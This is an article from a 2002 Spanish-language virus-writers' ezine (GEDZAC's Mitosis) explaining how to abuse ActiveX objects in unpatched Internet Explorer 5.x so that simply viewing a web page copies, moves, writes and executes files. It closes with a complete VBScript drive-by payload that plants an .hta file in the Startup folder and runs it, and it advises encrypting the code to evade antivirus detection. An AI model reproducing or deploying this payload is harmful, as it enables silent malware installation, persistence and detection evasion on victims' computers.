Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 01 013
(C) MITOSIS #1 E-Zine/GEDZAC 2002
Tema : Vulnerabilidades de internet explorer 5.x
Autor : MachineDramon
Válido para : Windows C/N IExplorer 5.x desactualizados.
--------------------------------------------------------------------------------------------
En este artículo se tratarán algunas vulnerabilidades de internet explorer 5.x que no tengan instalado los parches de seguridad.
Muchas de estas técnicas fueron sacadas de los virus VBS/HappyTime y VBS/Loveday.
1)Objeto "Shell.Application":
Set Sha = CreateObject("Shell.Application")
Este Objeto permite realizar varias funciones con solo visualizar una página web, algunas de ellas muy útiles y sin mostrar advertencias, si internet explorer esta configurado con la seguridad por defecto.
a)copiar un archivo:
Siendo:
dir/des = Directorio de destino, como "C:\Mis documentos" por ejemp.
dir/file = Directorio donde se encuentra el archivo y el nombre del archivo como "c:\archivo.txt"
Sha.NameSpace("dir/des").CopyHere "dir/file"
b)Mover un archivo:
Siendo:
dir/des = Directorio de destino, como "C:\Mis documentos" por ejemp.
dir/file = Directorio donde se encuentra el archivo y el nombre del archivo como "c:\archivo.txt"
Sha.NameSpace("dir/des").MoveHere "dir/file"
c)Ejecutando un archivo
Siendo:
dir = Directorio donde se encuentra el archivo
file = Nombre del archivo como, "file.txt"
Sha.NameSpace("dir").Items.item("file").invokeverb
d)Ejecutando una extensión del panel de Control(.cpl):
Siendo:
Control/File = Directorio y nombre del Archivo CPL
Si el Cpl, esta en la carpeta de sistema o de windows, sólo es nesesario el nombre del archivo.
Sha.ControlPanelItem "Control/File"
e)Abrir el explorador de windows y preguntar sobre la ejecución de archivos:
Abre el explorador en la carpeta seleccionada
Siendo:
dir = Directorio elegido
Sha.explore "dir"
Sha.Open "dir"
Presenta el diálogo abrir o guardar en disco de internet explorer
Siendo:
Dir/file = directorio y nombre de archivo
Sha.Open "Dir/file"
f)Funciones diversas:
Coloca todas las ventanas abiertas en cascada.
Sha.CascadeWindows
Coloca todas las ventanas abiertas en mosaico horizontal
Sha.TileHorizontally
Coloca todas las ventanas abiertas en mosaico vertical
Sha.TileVertically
Minimiza todas las ventanas
Sha.MinimizeAll
Presenta el diálogo salir de windows
Sha.ShutdownWindows
Presenta el diálogo ejecutar
Sha.FileRun
Presenta el diálogo buscar computadora
Sha.FindComputer
Presenta el diálogo buscar archivos
Sha.FindFiles
Presenta el diálogo cambiar fecha y hora
Sha.SetTime
Presenta el diálogo propiedades de la barra del botón inicio
Sha.TrayProperties
------------------------------------------------------------
2)Objeto "Scripting.Dictionary"
Set Std = CreateObject("Scripting.Dictionary")
Este objeto permite almacenar datos, como si fuera un diccionario de variables, sin pedir confirmación de internet explorer.
a)Adicionando datos:
Funciona como diccionario, le ingresamos palabras o variables y su valor
Siendo:
palabra = Nombre de variable
significado = Valor de variable
Std.Add "palabra", "significado"
b)Verificando si una variable existe en el diccionario:
Siendo:
palabra = El nombre de la variable que queremos saber si se ha adicionado al diccionario.
Std.Exists("palabra")
Devuelve true si existe y false si no.
c)Contando el número de variables de un diccionario:
Std.Count
Devuelve el número de variables que existen en el diccionario.
d)Averiguando el valor de una variable en el diccionario:
Siendo:
palabra = El nombre de la variable que queremos consultar
Std.item("palabra")
Devuelve el valor de la variable
e)eliminando variables:
e.1)Eliminando una variable:
Siendo:
palabra = El nombre de la variable que queremos eliminar del diccionario:
Std.Remove("palabra")
e.2)Eliminando todas las variables:
Std.RemoveAll
f)Creando un bucle con los valores de las variables:
Std.Keys
Nos da una colección de objetos formada por las variables y sus significados que podemos usar para comparar los valores con algún dato o pasarlos uno por uno a un procedimiento, etc.
For each i in Std.Keys
msgbox std.item(i)
if std.item(i) = "valor" then
msgbox "IGUAL"
end if
Next
El bucle muestra los valores de las varibles del diccionario y luego los compara.
-----------------------------------------------------------------------------
3)Objeto "Scriptlet.Typelib"
Set Stl = CreateObject("Scriptlet.Typelib")
Este objeto puede crear archivos en el disco con sólo visualizar una pagina web, y sin dar alertas de seguridad.
Stl.path = Directorio donde queremos crear el archivo(puede ser el menú inicio).
Stl.doc = Lo que queremos que diga o el contenido del archivo (código del virus)
Stl.write = Escribe el contenido de "Stl.doc" en el archivo
-----------------------------------------------------------------------------
En el siguiente código insertado en una pagina web, creará un archivo VBS, se lo copiará y moverá y luego se lo ejecutará.
<Script Language = 'VBScript'>
On Error Resume Next
Set Stl = CreateObject("Scriptlet.Typelib")
Set Sha = CreateObject("Shell.Application")
'Rd da el la letra de unidad "C:\" por ejemplo, si la pagina se ejecuta
'desde el disco duro de la computadora.
Rd = Mid(document.url,(InStr(document.url, "\") - 2),3)
'Cont da el contenido del script
For each Sc in document.scripts
if Lcase(Sc.Language) = "vbscript" then
if Instr(Sc.text, "ZONAVIRUS") <> 0 then
Cont = Sc.text
end if
end if
next
if InStr(Navigator.SystemLanguage,"es") <> 0 then
Dpath = "C:\windows\Menú Inicio\Programas\Inicio\ZV.hta"
else
Dpath = "C:\windows\Start Menu\Programs\StartUp\ZV.hta"
end if
Stl.path = Dpath
Dc = "Msgbox " & chr(34) & "ZONAVIRUS" & chr(34)
Stl.doc = vbCrlf & Scr(Dc)
Stl.write
'Copiando
Sha.NameSpace("C:\").CopyHere(Dpath)
Sha.NameSpace("C:\Windows\").CopyHere(Dpath)
'Moviendo
Sha.NameSpace("C:\Windows\System\").MoveHere("C:\Windows\ZV.hta")
'Ejecutando
Sha.NameSpace("C:\Windows\System\").Items.item("ZV.hta").InvokeVerb
Set Stl = Nothing
Set Sha = Nothing
Function Scr(f)
Scr = "<Script " & "Language = 'VBScript'>" & vbCrlf & f & vbCrlf & _
"</" & "Script>"
End Function
</script>
El código usado es conocido por la heurística de algunos antivirus, pero se puede encriptar, con alguna función para evitar su detección.
(C) MITOSIS E-Zine/GEDZAC 2002